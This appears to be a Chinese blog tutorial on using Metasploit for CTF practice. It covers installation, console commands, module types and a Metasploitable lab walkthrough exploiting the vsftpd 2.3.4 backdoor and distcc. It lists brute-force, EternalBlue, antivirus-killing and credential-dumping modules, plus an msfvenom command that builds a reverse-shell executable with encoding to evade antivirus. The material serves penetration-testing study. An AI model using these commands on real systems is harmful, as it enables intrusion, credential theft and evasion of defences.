CTF之灵活多变——利用Metaploit来获取系统控制权

一、什么是Metaploit

Metasploit 是一款由 Rapid7 公司管理的开源渗透测试框架,最初由 H.D. Moore 于2003年发布,采用 Ruby 语言编写。它采用高度模块化的设计,内置了成千上万个漏洞利用模块、攻击载荷、辅助模块和后渗透模块等。安全研究人员和渗透测试人员可以通过它方便地进行信息收集、漏洞扫描、漏洞验证以及后渗透测试等操作。Metasploit 极大地降低了漏洞利用的门槛,使得相关的攻击工具更易被获取和使用。在合法授权的前提下,它能帮助企业和IT专业人士识别系统安全性问题、验证缓解措施的有效性并提供真正的安全风险情报;但同时,该工具也常被黑客用于恶意攻击。因此,使用 Metasploit 必须严格遵守法律法规与道德规范,仅限于授权的安全评估与防御研究。

二、Metaploit的安装

参考:Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit

Ubuntu/Debian

bash 复制代码
sudo apt update
sudo apt install metasploit-framework

从源码编译安装

bash 复制代码
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
bundle install

Windows安装

  1. 下载安装程序

  2. 安装后将安装路径添加到path中即可

请一并安装PostgreSQL数据库存储数据,然后使用msfconsole命令测试

三、Metaploit的基本使用

  1. 启动Metaploit
shell 复制代码
msfconsole
# 静默启动
msfconsole -q
  1. 搜索模块、漏洞、poc
shell 复制代码
search xxx
#可以使用多个条件:search name:xxx type:auxiliary
  1. 使用模块、利用漏洞对应的模块
shell 复制代码
use xxx

xxx可以是完整名称也可以是编号

  1. 查看模块对应的配置(要先use模块才能使用)
shell 复制代码
show options
  1. 设置攻击载荷
shell 复制代码
set payload
# 设置目标ip
set RHOSTS x.x.x.x
# 设置本地ip
set LHOST 
  1. 执行攻击
shell 复制代码
run
# 或 exploit
  1. 运行带有msf指令的脚本文件
shell 复制代码
msfconsole -r xxx
  1. 查看msf版本
shell 复制代码
msfconsole -v

9.退出

shell 复制代码
exit

10.查看模块信息

shell 复制代码
info
  1. 重新加载所有模块
shell 复制代码
reload_all
  1. 切换模块
shell 复制代码
back
  1. 检测是否有漏洞的可能性
shell 复制代码
check
  1. 会话管理指令
shell 复制代码
#列出所有会话
sessions -l
#终止所有会话
sessions -K
#进入某个会话
sessions -i id
#以详细模式列出会话
sessions -v
#将shell升级到meterpreter会话
sessions -u

其他指令:Metasploit(MSF)使用教程

四、Metaploit的常用模块

(一)auxiliary

auxiliary是msf的辅助模块部分,主要用于信息收集、漏洞扫描等前置操作,不执行真正的漏洞利用部分。

调用该部分模块:

shell 复制代码
use auxiliary/xxx

常用模块:

端口扫描

复制代码
use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas

服务扫描

复制代码
auxiliary/scanner/ssh/ssh_login        #SSH爆破
auxiliary/scanner/vnc/vnc_none_auth    #VNC空口令扫描
auxiliary/scanner/telnet/telnet_login#SSH爆破
auxiliary/scanner/smb/smb_version    #SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers    #SMB枚举
auxiliary/scanner/smb/smb_login        #SMB弱口令登录
auxiliary/admin/smb/psexec_command    #登录SMB且执行命令

auxiliary/scanner/mssql/mssql_ping    #MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum    #MSSQL枚举
auxiliary/scanner/mysql/mysql_login    #MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum    #MySQL枚举

(二)exploits

exploits是msf的攻击模块部分,主要用于漏洞攻击、后门利用等操作,是渗透测试的主要部分。

调用该部分模块:

shell 复制代码
use exploits/xxx

例如永恒之蓝:

shell 复制代码
use exploit/windows/smb/ms17_010_eternalblue

(三)payloads

payloads是msf的攻击载荷生成部分,是注入后门、远程攻击的重要一环,是渗透人员模拟木马的一种手段。

调用该部分模块:

shell 复制代码
use payloads/xxx

例如nc反弹:

shell 复制代码
use windows/meterpreter_reverse_http
-E   强制编码
-e   要使用的编码器模块的名称
-f   输出文件名(否则为stdout)
-t   输出格式: raw,ruby,rb,perl,pl,c,java,dll,exe,elf,vbs,asp,war等
-b   要避免的字符列表: '\x00\xff'

(四)post

post是msf的后渗透模块,常常用于在渗透测试通过之后收集目标相关信息以便后续的提权、破解等操作,是渗透测试的高级工作。

调用该部分模块:

shell 复制代码
use post/xxx

常用信息获取:

shell 复制代码
run post/windows/gather/checkvm		#检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav		#关闭杀软
run post/windows/manage/enable_rdp	#开启目标远程桌面
run post/windows/gather/enum_logged_on_users	#列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications		#列举应用程序
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码

参考:Metasploit Unleashed | Post Module Reference

(五)encoders

encoders是msf的免杀模块,通过伪装等操作来绕过杀毒软件的查杀,从而顺利执行程序。

生成免杀程序获取:

shell 复制代码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Kali的IP LPORT=Kali监听端口 -f exe > msf.exe
参数选项:
-p			指定的payload
-e 			编码器,x86/shikata_ga_nai
-i			迭代器,对有效载荷的编码次数
-f			输出文件的格式,exe、dll、raw

五、案例------Metasploitable靶机

(一)靶机安装

  1. 下载靶机,Metasploitable download | SourceForge.net

  2. 导入虚拟机,启动即可,账号密码均为msfadmin

(二)使用msf快速获取靶机信息

6200-------vsftpd_234_backdoor

  1. 使用search vsftpd查找攻击载荷,结果如下:
  1. 使用use exploit/unix/ftp/vsftpd_234_backdoor利用后门,使用show options

查看配置参数。

  1. 配置好参数后使用exploit启动攻击,获取到用户shell:

1099-------distcc程序漏洞----ingrelock

  1. 查找可以用的脚本,结果如下:
  1. 使用use 0利用脚本,配置参数后exploit获取shell。
相关推荐
杨先生哦2 小时前
2026 热端攻防:AI 驱动 Web 前端安全全景透析
前端·笔记·安全·web安全
持敬chijing5 小时前
Web渗透之前后端漏洞-CORS跨越访问漏洞
安全·web安全·网络安全·网络攻击模型·安全威胁分析
阿狸猿6 小时前
网络安全体系设计
安全·web安全
HackTwoHub6 小时前
免费FOFA高级会员、DayDaymap、360Quake、Hunter测绘搜索引擎高级会员免费使用最大1W条查询工具
运维·安全·web安全·搜索引擎·网络安全·系统安全·安全架构
杨先生哦7 小时前
【2026 热端攻防系列 2/12】DOM 型 XSS 深度实战:AI 多态变形免杀 + 全维度防御
前端·人工智能·笔记·安全·web安全·xss
juesdo1 天前
array_search()函数的用法
web安全·php
一拳一个娘娘腔1 天前
【第五期】漏洞攻防-逻辑篇:越权与支付漏洞 —— 为什么改个参数就能“0元购”?
安全·web安全·web
持敬chijing1 天前
Web渗透之前后端漏洞-命令注入
安全·web安全·网络安全·网络攻击模型·安全威胁分析
顾凌陵1 天前
Web信息收集实战指南
安全·web安全